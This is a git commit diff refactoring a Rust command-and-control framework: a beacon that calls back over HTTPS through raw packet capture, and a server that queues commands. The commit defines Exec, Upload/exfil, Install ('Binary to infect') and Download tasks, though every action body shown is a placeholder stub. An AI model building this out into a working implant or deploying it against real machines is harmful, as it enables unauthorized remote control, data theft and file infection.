feat: reworked command processing and storage

This commit is contained in:
Andrew Rioux 2025-02-23 18:29:12 -05:00
parent ceb4aa808e
commit 5ed8efca94
Signed by: andrew.rioux
GPG Key ID: 9B8BAC47C17ABB94
36 changed files with 710 additions and 295 deletions

44
Cargo.lock generated
View File

@ -990,6 +990,30 @@ dependencies = [
"cfg-if", "cfg-if",
] ]
[[package]]
name = "enum_delegate"
version = "0.2.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "a8ea75f31022cba043afe037940d73684327e915f88f62478e778c3de914cd0a"
dependencies = [
"enum_delegate_lib",
"proc-macro2",
"quote",
"syn 1.0.109",
]
[[package]]
name = "enum_delegate_lib"
version = "0.2.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "2e1f6c3800b304a6be0012039e2a45a322a093539c45ab818d9e6895a39c90fe"
dependencies = [
"proc-macro2",
"quote",
"rand 0.8.5",
"syn 1.0.109",
]
[[package]] [[package]]
name = "equivalent" name = "equivalent"
version = "1.0.2" version = "1.0.2"
@ -3453,15 +3477,30 @@ dependencies = [
name = "sparse-actions" name = "sparse-actions"
version = "2.0.0" version = "2.0.0"
dependencies = [ dependencies = [
"async-trait",
"bindgen", "bindgen",
"chrono", "chrono",
"enum_delegate",
"http",
"hyper",
"hyper-util",
"leptos",
"pcap-sys",
"rmp-serde",
"rustls",
"serde", "serde",
"serde_bytes", "serde_bytes",
"serde_json",
"smoltcp",
"sqlx",
"thiserror 2.0.11",
"tokio",
"uuid",
] ]
[[package]] [[package]]
name = "sparse-beacon" name = "sparse-beacon"
version = "0.7.0" version = "2.0.0"
dependencies = [ dependencies = [
"async-trait", "async-trait",
"bytes", "bytes",
@ -3515,7 +3554,7 @@ dependencies = [
[[package]] [[package]]
name = "sparse-server" name = "sparse-server"
version = "0.1.0" version = "2.0.0"
dependencies = [ dependencies = [
"anyhow", "anyhow",
"axum", "axum",
@ -4565,6 +4604,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "93d59ca99a559661b96bf898d8fce28ed87935fd2bea9f05983c1464dd6c71b1" checksum = "93d59ca99a559661b96bf898d8fce28ed87935fd2bea9f05983c1464dd6c71b1"
dependencies = [ dependencies = [
"getrandom 0.3.1", "getrandom 0.3.1",
"serde",
] ]
[[package]] [[package]]

View File

@ -7,6 +7,27 @@ version.workspace = true
chrono = { version = "0.4.39", features = ["serde"] } chrono = { version = "0.4.39", features = ["serde"] }
serde = { version = "1.0.218", features = ["derive"] } serde = { version = "1.0.218", features = ["derive"] }
serde_bytes = "0.11.15" serde_bytes = "0.11.15"
uuid = { version = "1.14.0", features = ["serde"] }
enum_delegate = "0.2.0"
async-trait = "0.1.86"
serde_json = "1.0.139"
leptos = { version = "0.7.7", optional = true }
thiserror = { version = "2.0.11", optional = true }
pcap-sys = { path = "../pcap-sys", optional = true }
tokio = { version = "1.43.0", features = ["fs", "io-std", "io-util", "net", "process", "rt", "sync", "time", "tokio-macros"], optional = true }
smoltcp = { version = "0.12.0", default-features = false, features = ["proto-ipv4", "socket", "socket-tcp", "medium-ethernet", "std"], optional = true }
http = { version = "1.2.0", optional = true }
rmp-serde = { version = "1.3.0", optional = true }
hyper-util = { version = "0.1.10", features = ["client", "client-legacy", "http1", "http2", "service", "tokio"], optional = true }
hyper = { version = "1.6.0", features = ["client", "http1", "http2"], optional = true }
rustls = { version = "0.23.23", default-features = false, features = ["std"], optional = true }
sqlx = { version = "0.8", default-features = false, features = ["chrono", "macros", "migrate", "runtime-tokio", "sqlite", "sqlx-sqlite", "uuid"], optional = true }
[build-dependencies] [build-dependencies]
bindgen = "0.69" bindgen = "0.69"
[features]
beacon = ["dep:thiserror", "dep:pcap-sys", "dep:tokio", "dep:smoltcp", "dep:http", "dep:hyper-util", "dep:rustls", "dep:hyper", "dep:rmp-serde", "uuid/v4"]
server-ssr = ["uuid/v4", "dep:sqlx"]
server = ["dep:leptos"]

View File

@ -1 +1,98 @@
pub trait Action {} #[cfg(feature = "server")]
use leptos::prelude::*;
use serde::{Deserialize, Serialize};
use crate::version::Version;
mod ls;
mod update;
mod exec;
mod upload;
mod install;
mod download;
#[derive(Serialize, Deserialize)]
pub struct FileId(pub uuid::Uuid);
/// Macro used to enforce the invariant that struct names are used to identify
/// the enum branch as well
macro_rules! define_actions_enum {
($(($mod:ident, $act:ident)),+) => {
#[derive(::serde::Serialize, ::serde::Deserialize)]
#[serde(tag = "cmd_type")]
pub enum Actions {
$($act($mod::$act)),+,
}
}
}
define_actions_enum! {
(ls, Ls),
(update, Update),
(exec, Exec),
(upload, Upload),
(install, Install),
(download, Download)
}
pub const ACTION_BUILDERS: &'static [&'static (dyn ActionBuilder + Send + Sync)] = &[
&ActionBuilderImpl::<ls::Ls>::new(),
&ActionBuilderImpl::<update::Update>::new(),
&ActionBuilderImpl::<exec::Exec>::new(),
&ActionBuilderImpl::<upload::Upload>::new(),
&ActionBuilderImpl::<install::Install>::new(),
&ActionBuilderImpl::<download::Download>::new(),
];
#[async_trait::async_trait]
pub trait Action: Serialize + for<'a> Deserialize<'a> {
const REQ_VERSION: Version;
const REQ_OS: Option<&'static str>;
const REQ_FIELDS: &'static [(&'static str, &'static str, Option<&'static str>)];
type ActionData: Serialize + for<'a> Deserialize<'a>;
#[cfg(feature = "beacon")]
async fn execute(&self) -> Self::ActionData;
#[cfg(feature = "server")]
fn render_data(&self, data: Self::ActionData) -> impl IntoView;
}
pub trait ActionBuilder {
fn name(&self) -> &'static str;
fn required_version(&self) -> Version;
fn required_os(&self) -> Option<&'static str>;
fn form_elements(&self) -> &'static [(&'static str, &'static str, Option<&'static str>)];
fn verify_json_body(&self, body: serde_json::Value) -> Result<(), serde_json::Error>;
}
pub struct ActionBuilderImpl<T>(std::marker::PhantomData<T>);
impl<T> ActionBuilderImpl<T> {
pub const fn new() -> Self {
Self(std::marker::PhantomData)
}
}
impl<T> ActionBuilder for ActionBuilderImpl<T>
where
T: Action
{
fn name(&self) -> &'static str {
let tname = std::any::type_name::<T>();
tname.split(":").last().unwrap()
}
fn required_version(&self) -> Version {
T::REQ_VERSION
}
fn required_os(&self) -> Option<&'static str> {
T::REQ_OS
}
fn form_elements(&self) -> &'static [(&'static str, &'static str, Option<&'static str>)] {
T::REQ_FIELDS
}
fn verify_json_body(&self, body: serde_json::Value) -> Result<(), serde_json::Error> {
serde_json::from_value::<T>(body).map(|_| ())
}
}

View File

@ -0,0 +1,35 @@
#[cfg(feature = "server")]
use leptos::prelude::*;
use serde::{Deserialize, Serialize};
use crate::version::Version;
#[derive(Serialize, Deserialize)]
pub struct Download {
download_src: super::FileId,
download_path: String,
}
#[async_trait::async_trait]
impl super::Action for Download {
const REQ_VERSION: Version = Version::new(2, 0);
const REQ_OS: Option<&'static str> = None;
const REQ_FIELDS: &'static [(&'static str, &'static str, Option<&'static str>)] = &[
("File path to download/place", "download_path", None),
("File to download", "download_src", Some("file")),
];
type ActionData = ();
#[cfg(feature = "beacon")]
async fn execute(&self) -> Self::ActionData {
"Hi".to_string();
}
#[cfg(feature = "server")]
fn render_data(&self, _data: Self::ActionData) -> impl IntoView {
view! {
"ls ran"
}
}
}

View File

@ -0,0 +1,33 @@
#[cfg(feature = "server")]
use leptos::prelude::*;
use serde::{Deserialize, Serialize};
use crate::version::Version;
#[derive(Serialize, Deserialize)]
pub struct Exec {
exec_cmd: String
}
#[async_trait::async_trait]
impl super::Action for Exec {
const REQ_VERSION: Version = Version::new(2, 0);
const REQ_OS: Option<&'static str> = None;
const REQ_FIELDS: &'static [(&'static str, &'static str, Option<&'static str>)] = &[
("Command to execute", "exec_cmd", None)
];
type ActionData = String;
#[cfg(feature = "beacon")]
async fn execute(&self) -> Self::ActionData {
"Execute".to_string()
}
#[cfg(feature = "server")]
fn render_data(&self, _data: Self::ActionData) -> impl IntoView {
view! {
"execute command"
}
}
}

View File

@ -0,0 +1,33 @@
#[cfg(feature = "server")]
use leptos::prelude::*;
use serde::{Deserialize, Serialize};
use crate::version::Version;
#[derive(Serialize, Deserialize)]
pub struct Install {
install_target: std::path::PathBuf
}
#[async_trait::async_trait]
impl super::Action for Install {
const REQ_VERSION: Version = Version::new(2, 0);
const REQ_OS: Option<&'static str> = None;
const REQ_FIELDS: &'static [(&'static str, &'static str, Option<&'static str>)] = &[
("Binary to infect", "install_target", None)
];
type ActionData = ();
#[cfg(feature = "beacon")]
async fn execute(&self) -> Self::ActionData {
"Hi".to_string();
}
#[cfg(feature = "server")]
fn render_data(&self, _data: Self::ActionData) -> impl IntoView {
view! {
"ls ran"
}
}
}

View File

@ -0,0 +1,29 @@
#[cfg(feature = "server")]
use leptos::prelude::*;
use serde::{Deserialize, Serialize};
use crate::version::Version;
#[derive(Serialize, Deserialize)]
pub struct Ls;
#[async_trait::async_trait]
impl super::Action for Ls {
const REQ_VERSION: Version = Version::new(2, 0);
const REQ_OS: Option<&'static str> = None;
const REQ_FIELDS: &'static [(&'static str, &'static str, Option<&'static str>)] = &[];
type ActionData = ();
#[cfg(feature = "beacon")]
async fn execute(&self) -> Self::ActionData {
"Hi".to_string();
}
#[cfg(feature = "server")]
fn render_data(&self, _data: Self::ActionData) -> impl IntoView {
view! {
"ls ran"
}
}
}

View File

@ -0,0 +1,29 @@
#[cfg(feature = "server")]
use leptos::prelude::*;
use serde::{Deserialize, Serialize};
use crate::version::Version;
#[derive(Serialize, Deserialize)]
pub struct Update;
#[async_trait::async_trait]
impl super::Action for Update {
const REQ_VERSION: Version = Version::new(2, 0);
const REQ_OS: Option<&'static str> = None;
const REQ_FIELDS: &'static [(&'static str, &'static str, Option<&'static str>)] = &[];
type ActionData = ();
#[cfg(feature = "beacon")]
async fn execute(&self) -> Self::ActionData {
"Hello".to_string();
}
#[cfg(feature = "server")]
fn render_data(&self, _data: Self::ActionData) -> impl IntoView {
view! {
"update ran"
}
}
}

View File

@ -0,0 +1,33 @@
#[cfg(feature = "server")]
use leptos::prelude::*;
use serde::{Deserialize, Serialize};
use crate::version::Version;
#[derive(Serialize, Deserialize)]
pub struct Upload {
upload_src: String
}
#[async_trait::async_trait]
impl super::Action for Upload {
const REQ_VERSION: Version = Version::new(2, 0);
const REQ_OS: Option<&'static str> = None;
const REQ_FIELDS: &'static [(&'static str, &'static str, Option<&'static str>)] = &[
("File path to upload/exfil", "upload_src", None)
];
type ActionData = ();
#[cfg(feature = "beacon")]
async fn execute(&self) -> Self::ActionData {
"Hi".to_string();
}
#[cfg(feature = "server")]
fn render_data(&self, _data: Self::ActionData) -> impl IntoView {
view! {
"ls ran"
}
}
}

View File

@ -0,0 +1,38 @@
use std::net::Ipv4Addr;
use crate::error;
#[derive(Debug)]
pub struct BeaconRoute {
pub network: (Ipv4Addr, u8),
pub gateway: (Ipv4Addr, u8),
pub interface_index: usize,
}
#[derive(Debug)]
pub struct BeaconNetworkingInfo {
pub routes: Vec<BeaconRoute>,
pub interfaces: Vec<BeaconInterface>,
}
#[derive(Debug)]
pub struct BeaconInterface {
pub name: Vec<u8>,
pub mtu: u16,
pub mac_addr: [u8; 6],
}
#[async_trait::async_trait]
pub trait BeaconAdapter {
type Error: error::AdapterError + Send + Sync;
const OPERATING_SYSTEM: &'static str;
fn interface_name_from_interface(interface: &BeaconInterface) -> Vec<u8>;
fn networking_info(&self) -> Result<BeaconNetworkingInfo, error::BeaconError<Self::Error>>;
async fn get_username(&self) -> Result<String, error::BeaconError<Self::Error>>;
async fn get_hostname(&self) -> Result<String, error::BeaconError<Self::Error>>;
}

View File

@ -0,0 +1,40 @@
use thiserror::Error;
pub trait AdapterError: std::error::Error {}
#[derive(Error, Debug)]
pub enum BeaconError<T>
where
T: AdapterError,
{
#[error("io error")]
Io(#[from] std::io::Error),
#[error("pcap error")]
Pcap(#[from] pcap_sys::error::Error),
#[error("utf8 decoding error")]
Utf8(#[from] std::str::Utf8Error),
#[error("task join error")]
Join(#[from] tokio::task::JoinError),
#[error("could not find default route")]
NoDefaultRoute,
#[error("connection error")]
Connect(#[from] smoltcp::socket::tcp::ConnectError),
#[error("http comms error")]
Http(#[from] http::Error),
#[error("uri parse error")]
InvalidUri(#[from] http::uri::InvalidUri),
#[error("hyper http error")]
HyperError(#[from] hyper_util::client::legacy::Error),
#[error("rustls")]
Rustls(#[from] rustls::Error),
#[error("adapter error")]
Adapter(#[from] T),
#[error("http error from server")]
SparseServerHttpError(http::StatusCode),
#[error("message pack encode error")]
RmpSerdeEncode(#[from] rmp_serde::encode::Error),
#[error("message pack decode error")]
RmpSerdeDecode(#[from] rmp_serde::decode::Error),
#[error("http error")]
Hyper(#[from] hyper::Error),
}

View File

@ -5,4 +5,9 @@ pub mod payload_types {
} }
pub mod actions; pub mod actions;
#[cfg(feature = "beacon")]
pub mod adapter;
#[cfg(feature = "beacon")]
pub mod error;
pub mod messages; pub mod messages;
pub mod version;

View File

@ -0,0 +1,7 @@
use sparse_actions::actions::ActionBuilder;
fn main() {
for b in sparse_actions::actions::ACTION_BUILDERS {
println!("{}", b.name());
}
}

View File

@ -0,0 +1,64 @@
use std::{
cmp::{Ord, Ordering, PartialOrd},
fmt::{self, Display},
};
use serde::{Deserialize, Serialize};
#[derive(PartialEq, Eq, Clone, Copy, Serialize, Deserialize)]
#[repr(transparent)]
#[cfg_attr(feature = "server-ssr", derive(sqlx::Type))]
#[cfg_attr(feature = "server-ssr", sqlx(transparent))]
pub struct Version(u16);
impl Version {
pub const fn new(maj: u8, min: u8) -> Self {
Self(((maj as u16) << 8u16) | (min as u16))
}
pub const fn major(&self) -> u8 {
(self.0 >> 8) as u8
}
pub const fn minor(&self) -> u8 {
(self.0 & 0xFF) as u8
}
}
impl PartialOrd for Version {
fn partial_cmp(&self, other: &Self) -> Option<Ordering> {
Some(self.cmp(other))
}
}
impl Ord for Version {
fn cmp(&self, other: &Self) -> Ordering {
if self.major() == other.major() {
self.minor().cmp(&other.minor())
} else {
self.major().cmp(&other.major())
}
}
}
impl fmt::Debug for Version {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
write!(f, "Version({}.{})", self.major(), self.minor())
}
}
impl Display for Version {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
write!(f, "{}.{}", self.major(), self.minor())
}
}
/*#[cfg(feature = "server-ssr")]
impl<'r> sqlx::Decode<'r, sqlx::Sqlite> for Version {
fn decode(
value: sqlx::Sqlite::ValueRef<'r>,
) -> Result<Self, Box<dyn Error + 'static + Send + Sync>> {
let value = <u16 as sqlx::Decode<sqlx::Sqlite>>::decode(value)?;
Ok(Self(value))
}
}*/

View File

@ -1,6 +1,6 @@
[package] [package]
name = "sparse-beacon" name = "sparse-beacon"
version = "0.7.0" version.workspace = true
edition = "2021" edition = "2021"
publish = false publish = false
@ -29,9 +29,9 @@ http-body = "1.0.1"
rmp-serde = "1.3.0" rmp-serde = "1.3.0"
cron = "0.13.0" cron = "0.13.0"
pcap-sys = { version = "0.1.0", path = "../pcap-sys" } pcap-sys = { path = "../pcap-sys" }
sparse-actions = { version = "2.0.0", path = "../sparse-actions" } sparse-actions = { path = "../sparse-actions", features = ["beacon"] }
packets = { version = "0.1.0", path = "../packets" } packets = { path = "../packets" }
[features] [features]
openssl = ["dep:rustls-openssl"] openssl = ["dep:rustls-openssl"]

View File

@ -12,13 +12,13 @@ use hyper_util::{
use rustls::RootCertStore; use rustls::RootCertStore;
use tower_service::Service; use tower_service::Service;
use sparse_actions::payload_types::Parameters; use sparse_actions::{
use crate::{
adapter, error, adapter, error,
tcp::{self, setup_network}, payload_types::Parameters
}; };
use crate::tcp::{self, setup_network};
#[derive(Clone)] #[derive(Clone)]
pub struct ServerConnector<T> pub struct ServerConnector<T>
where where

View File

@ -3,17 +3,13 @@ use sparse_actions::payload_types::Parameters;
use http_body_util::{BodyExt, Full}; use http_body_util::{BodyExt, Full};
use hyper::{Request, Method}; use hyper::{Request, Method};
use sparse_actions::messages; use sparse_actions::{adapter, error::BeaconError, messages};
mod callback; mod callback;
mod socket; mod socket;
mod tcp; mod tcp;
mod params; mod params;
pub mod adapter;
pub mod error;
pub use error::BeaconError;
pub fn install_rustls() { pub fn install_rustls() {
#[cfg(feature = "openssl")] #[cfg(feature = "openssl")]
let _ = rustls_openssl::default_provider().install_default(); let _ = rustls_openssl::default_provider().install_default();
@ -63,7 +59,7 @@ where
let hostname = host_adapter.get_hostname().await.unwrap_or("(unknown)".to_string()); let hostname = host_adapter.get_hostname().await.unwrap_or("(unknown)".to_string());
let userent = host_adapter.get_username().await.unwrap_or("(unknown)".to_string()); let userent = host_adapter.get_username().await.unwrap_or("(unknown)".to_string());
let mut config: messages::BeaconConfig = { let _config: messages::BeaconConfig = {
let client = callback::obtain_https_client(&host_adapter, &params).await?; let client = callback::obtain_https_client(&host_adapter, &params).await?;
make_request( make_request(
@ -83,15 +79,15 @@ where
loop { loop {
// let client = callback::obtain_https_client(&host_adapter, &params).await?; // let client = callback::obtain_https_client(&host_adapter, &params).await?;
use messages::RuntimeConfig as RC; //use messages::RuntimeConfig as RC;
let target_wake_time = match &config.runtime_config { //let target_wake_time = match &config.runtime_config {
RC::Oneshot => { break; }, // RC::Oneshot => { break; },
RC::Random { interval_min, interval_max } => {}, // RC::Random { interval_min, interval_max } => {},
RC::Regular { interval } => {}, // RC::Regular { interval } => {},
RC::Cron { schedule, timezone } => { // RC::Cron { schedule, timezone } => {
} // }
}; //};
} }
// for _ in 1..5 { // for _ in 1..5 {
@ -106,6 +102,4 @@ where
// let body = body.collect().await; // let body = body.collect().await;
// println!("{:?}", body); // println!("{:?}", body);
// } // }
Ok(())
} }

View File

@ -1,7 +1,4 @@
use sparse_actions::payload_types::Parameters; use sparse_actions::{adapter::BeaconAdapter, error::BeaconError, payload_types::Parameters};
use crate::adapter::BeaconAdapter;
use crate::error::BeaconError;
pub fn domain_name<'a, T>(params: &'a Parameters) -> Result<&'a str, BeaconError<T::Error>> pub fn domain_name<'a, T>(params: &'a Parameters) -> Result<&'a str, BeaconError<T::Error>>
where where

View File

@ -2,7 +2,7 @@ use smoltcp::phy::{self, Device, DeviceCapabilities, Medium};
use pcap_sys::Interface; use pcap_sys::Interface;
use crate::{adapter, error}; use sparse_actions::{adapter, error};
struct SocketInner { struct SocketInner {
lower: Interface, lower: Interface,

View File

@ -18,9 +18,10 @@ use tokio::{
task::{spawn_blocking, JoinHandle}, task::{spawn_blocking, JoinHandle},
}; };
use sparse_actions::payload_types::Parameters; use sparse_actions::{
adapter, error,
use crate::{adapter, error}; payload_types::Parameters
};
pub struct NetInterfaceHandle { pub struct NetInterfaceHandle {
net: Arc<Mutex<(SocketSet<'static>, crate::socket::RawSocket, Interface)>>, net: Arc<Mutex<(SocketSet<'static>, crate::socket::RawSocket, Interface)>>,

View File

@ -18,5 +18,6 @@ rustls = { version = "0.23", default-features = false, features = ["ring", "std"
rcgen = { version = "0.13.2", features = ["pem", "x509-parser", "crypto"] } rcgen = { version = "0.13.2", features = ["pem", "x509-parser", "crypto"] }
rustls-pki-types = "1.11.0" rustls-pki-types = "1.11.0"
axum-msgpack = "0.4.0" axum-msgpack = "0.4.0"
sparse-actions = { version = "2.0.0", path = "../sparse-actions" }
chrono = { version = "0.4.39", features = ["serde"] } chrono = { version = "0.4.39", features = ["serde"] }
sparse-actions = { path = "../sparse-actions" }

View File

@ -1,6 +1,6 @@
[package] [package]
name = "sparse-server" name = "sparse-server"
version = "0.1.0" version.workspace = true
edition = "2021" edition = "2021"
[lib] [lib]
@ -51,7 +51,7 @@ server_fn = { version = "0.7.7", features = ["multipart"] }
multer = { version = "3.1.0", optional = true } multer = { version = "3.1.0", optional = true }
uuid = { version = "1.14.0", features = ["v4"], optional = true } uuid = { version = "1.14.0", features = ["v4"], optional = true }
sparse-actions = { path = "../sparse-actions", optional = true } sparse-actions = { path = "../sparse-actions", features = ["server"] }
sparse-handler = { path = "../sparse-handler", optional = true } sparse-handler = { path = "../sparse-handler", optional = true }
[features] [features]
@ -79,14 +79,14 @@ ssr = [
"dep:cron", "dep:cron",
"dep:sparse-handler", "dep:sparse-handler",
"dep:rustls-pki-types", "dep:rustls-pki-types",
"dep:sparse-actions",
"dep:rand", "dep:rand",
"dep:multer", "dep:multer",
"dep:uuid", "dep:uuid",
"leptos/ssr", "leptos/ssr",
"leptos_meta/ssr", "leptos_meta/ssr",
"leptos_router/ssr", "leptos_router/ssr",
"leptos-use/ssr" "leptos-use/ssr",
"sparse-actions/server-ssr"
] ]
[package.metadata.leptos] [package.metadata.leptos]

View File

@ -0,0 +1,3 @@
-- Add migration script here
ALTER TABLE beacon_instance ADD COLUMN version int NOT NULL DEFAULT 512;

View File

@ -0,0 +1,27 @@
-- Add migration script here
DROP TABLE beacon_command_invocation;
DROP TABLE beacon_command;
CREATE TABLE beacon_command (
command_id integer PRIMARY KEY AUTOINCREMENT NOT NULL,
cmd_parameters varchar NOT NULL
);
CREATE TABLE beacon_command_invocation (
beacon_id varchar NOT NULL,
command_id int NOT NULL,
issue_date int NOT NULL,
invoker_id int NOT NULL,
invocation_date int,
invocation_result varchar,
PRIMARY KEY (beacon_id, command_id),
FOREIGN KEY (command_id) REFERENCES beacon_command,
FOREIGN KEY (beacon_id) REFERENCES beacon_instance,
FOREIGN KEY (invoker_id) REFERENCES users
);

View File

@ -1,66 +1,17 @@
use leptos::{either::Either, prelude::*}; use leptos::{either::Either, prelude::*};
use serde::{Deserialize, Serialize};
use leptos::server_fn::codec::{MultipartData, MultipartFormData}; use leptos::server_fn::codec::{MultipartData, MultipartFormData};
use web_sys::FormData; use web_sys::FormData;
use send_wrapper::SendWrapper; use send_wrapper::SendWrapper;
#[cfg(feature = "ssr")] #[cfg(feature = "ssr")]
use { use {
sparse_actions::version::Version,
leptos::server_fn::error::NoCustomError, leptos::server_fn::error::NoCustomError,
sqlx::{sqlite::SqliteRow, FromRow, Row},
tokio::io::AsyncWriteExt, tokio::io::AsyncWriteExt,
}; };
use crate::beacons::{BeaconResources, categories::Category}; use crate::beacons::{BeaconResources, categories::Category};
#[derive(Clone, Serialize, Deserialize)]
pub enum CommandBody {
Update,
Exec { command: String },
Install { target_binary: String },
Upload { target_file: String },
Download { src_file: String, target_path: String },
Chdir { target_dir: String },
Ls
}
#[cfg(feature = "ssr")]
impl FromRow<'_, SqliteRow> for CommandBody {
fn from_row(row: &SqliteRow) -> sqlx::Result<Self> {
match row.try_get("cmd_type")? {
"update" => Ok(Self::Update),
"exec" => Ok(Self::Exec {
command: row.try_get("exec_command")?
}),
"install" => Ok(Self::Install {
target_binary: row.try_get("install_target")?
}),
"upload" => Ok(Self::Upload {
target_file: row.try_get("upload_src")?
}),
"download" => Ok(Self::Download {
src_file: row.try_get("download_src")?,
target_path: row.try_get("download_path")?
}),
"chdir" => Ok(Self::Chdir {
target_dir: row.try_get("chdir_target")?
}),
"ls" => Ok(Self::Ls),
type_name => Err(sqlx::Error::TypeNotFound {
type_name: type_name.to_string()
})
}
}
}
#[cfg_attr(feature = "ssr", derive(FromRow))]
#[derive(Clone, Serialize, Deserialize)]
pub struct BeaconCommand {
pub command_id: i64,
#[cfg_attr(feature = "ssr", sqlx(flatten))]
pub body: CommandBody
}
#[server( #[server(
prefix = "/api/commands", prefix = "/api/commands",
endpoint = "issue_command", endpoint = "issue_command",
@ -75,138 +26,19 @@ pub async fn issue_command(
)); ));
}; };
let mut fields = std::collections::HashMap::<String, String>::new(); let mut fields = serde_json::Map::new();
let mut download_src = None::<multer::Field>; let db = crate::db::get_db()?;
let mut data = data.into_inner().ok_or(ServerFnError::<NoCustomError>::ServerError( let mut data = data.into_inner().ok_or(ServerFnError::<NoCustomError>::ServerError(
"No form data was provided".to_owned(), "No form data was provided".to_owned(),
))?; ))?;
while let Ok(Some(field)) = data.next_field().await { while let Ok(Some(mut field)) = data.next_field().await {
let name = field.name().unwrap_or_default().to_string(); tracing::debug!("Processing field {:?}", field.name());
tracing::trace!("Found field {}", &name); let Some(name) = field.name().map(|f| f.to_string()) else { continue; };
if name != "download_src" {
fields.insert(name.clone(), field.text().await.unwrap_or_default());
} else {
download_src = Some(field);
}
}
enum Target { let file_name = field.file_name().map(str::to_string);
Beacon(String),
Category(i64)
}
let Some(target_beacons) = fields if let Some(file_name) = file_name {
.get("beacon_id")
.map(Clone::clone)
.map(Target::Beacon)
.or(fields
.get("category_id")
.map(|id| id.parse::<i64>().ok())
.flatten()
.map(Target::Category)) else {
return Err(ServerFnError::<NoCustomError>::ServerError(
"A beacon command cannot be made without a target".to_owned(),
));
};
let db = crate::db::get_db()?;
let command_id = match fields.get("cmd_type").map(Clone::clone).as_deref() {
Some("update") => {
Ok(sqlx::query!(
"INSERT INTO beacon_command (cmd_type) VALUES ('update')"
)
.execute(&db)
.await?
.last_insert_rowid())
}
Some("ls") => {
Ok(sqlx::query!(
"INSERT INTO beacon_command (cmd_type) VALUES ('ls')"
)
.execute(&db)
.await?
.last_insert_rowid())
}
Some("chdir") => {
let chdir_target = fields
.get("chdir_target")
.filter(|s| !s.is_empty())
.ok_or(ServerFnError::<NoCustomError>::ServerError(
"Directory target cannot be empty".to_owned(),
))?;
Ok(sqlx::query!(
"INSERT INTO beacon_command (cmd_type, chdir_target) VALUES ('chdir', ?)",
chdir_target
)
.execute(&db)
.await?
.last_insert_rowid())
}
Some("exec") => {
let exec_command = fields
.get("exec_command")
.filter(|s| !s.is_empty())
.ok_or(ServerFnError::<NoCustomError>::ServerError(
"Command cannot be empty".to_owned(),
))?;
Ok(sqlx::query!(
"INSERT INTO beacon_command (cmd_type, exec_command) VALUES ('exec', ?)",
exec_command
)
.execute(&db)
.await?
.last_insert_rowid())
}
Some("install") => {
let install_target = fields
.get("install_target")
.filter(|s| !s.is_empty())
.ok_or(ServerFnError::<NoCustomError>::ServerError(
"Install target cannot be empty".to_owned(),
))?;
Ok(sqlx::query!(
"INSERT INTO beacon_command (cmd_type, install_target) VALUES ('install', ?)",
install_target
)
.execute(&db)
.await?
.last_insert_rowid())
}
Some("upload") => {
let upload_src = fields
.get("upload_src")
.filter(|s| !s.is_empty())
.ok_or(ServerFnError::<NoCustomError>::ServerError(
"Upload file request path cannot be empty".to_owned(),
))?;
Ok(sqlx::query!(
"INSERT INTO beacon_command (cmd_type, upload_src) VALUES ('upload', ?)",
upload_src
)
.execute(&db)
.await?
.last_insert_rowid())
}
Some("download") => {
let download_path = fields
.get("download_path")
.filter(|s| !s.is_empty())
.ok_or(ServerFnError::<NoCustomError>::ServerError(
"Upload file request path cannot be empty".to_owned(),
))?;
let mut download_src = download_src
.ok_or(ServerFnError::<NoCustomError>::ServerError(
"File to upload cannot be empty".to_owned(),
))?;
let file_name = download_src.file_name().unwrap_or_default().to_string();
let file_id = uuid::Uuid::new_v4(); let file_id = uuid::Uuid::new_v4();
let mut target_file_path = expect_context::<std::path::PathBuf>(); let mut target_file_path = expect_context::<std::path::PathBuf>();
@ -220,7 +52,7 @@ pub async fn issue_command(
.open(target_file_path) .open(target_file_path)
.await?; .await?;
while let Ok(Some(chunk)) = download_src.chunk().await { while let Ok(Some(chunk)) = field.chunk().await {
target_file.write(&chunk).await?; target_file.write(&chunk).await?;
} }
@ -232,24 +64,83 @@ pub async fn issue_command(
.execute(&db) .execute(&db)
.await?; .await?;
Ok(sqlx::query!( fields.insert(name, serde_json::to_value(sparse_actions::actions::FileId(file_id))?);
"INSERT INTO beacon_command (cmd_type, download_src, download_path) VALUES ('download', ?, ?)", } else {
file_id, let Ok(value) = field.text().await else { continue; };
download_path let json = match serde_json::from_str(&value) {
) Ok(v) => v,
.execute(&db) Err(_) => serde_json::Value::String(value.clone())
.await? };
.last_insert_rowid()) fields.insert(name, json);
} }
_ => Err(ServerFnError::<NoCustomError>::ServerError( }
"Unknown command type".to_owned(),
)) enum Target {
}?; Beacon(String),
Category(i64)
}
tracing::debug!("Parameters provided: {:?}", serde_json::to_string(&fields));
let Some(target_beacons) = fields
.get("target_beacon_id")
.and_then(serde_json::Value::as_str)
.map(str::to_string)
.map(Target::Beacon)
.or(fields
.get("target_category_id")
.and_then(serde_json::Value::as_i64)
.map(Target::Category)) else {
return Err(ServerFnError::<NoCustomError>::ServerError(
"A beacon command cannot be made without a target".to_owned(),
));
};
fields.remove("target_beacon_id");
fields.remove("target_category_id");
let Some(command_builder) = sparse_actions::actions::ACTION_BUILDERS
.iter()
.find(|builder| Some(builder.name()) == fields.get("cmd_type").and_then(serde_json::Value::as_str)) else {
return Err(ServerFnError::<NoCustomError>::ServerError(
"No command type provided".to_owned(),
));
};
let fields = serde_json::Value::Object(fields);
command_builder.verify_json_body(fields.clone())?;
serde_json::from_value::<sparse_actions::actions::Actions>(fields.clone())?;
let serialized_fields = serde_json::to_string(&fields)?;
let command_id = sqlx::query!(
"INSERT INTO beacon_command (cmd_parameters) VALUES (?)",
serialized_fields
)
.execute(&db)
.await?
.last_insert_rowid();
let now = chrono::Utc::now(); let now = chrono::Utc::now();
match target_beacons { match target_beacons {
Target::Beacon(bid) => { Target::Beacon(bid) => {
let beacon_instance = sqlx::query!(
r#"SELECT version as "version: Version" FROM beacon_instance WHERE beacon_id = ?"#,
bid
)
.fetch_one(&db)
.await?;
if beacon_instance.version < command_builder.required_version() {
return Err(ServerFnError::<NoCustomError>::ServerError(format!(
"Beacon does not meet the minimum required version to run that command ({} vs {})",
beacon_instance.version,
command_builder.required_version()
)));
}
sqlx::query!( sqlx::query!(
"INSERT INTO beacon_command_invocation (command_id, issue_date, invoker_id, beacon_id) "INSERT INTO beacon_command_invocation (command_id, issue_date, invoker_id, beacon_id)
VALUES (?, ?, ?, ?)", VALUES (?, ?, ?, ?)",
@ -262,16 +153,20 @@ pub async fn issue_command(
.await?; .await?;
} }
Target::Category(cid) => { Target::Category(cid) => {
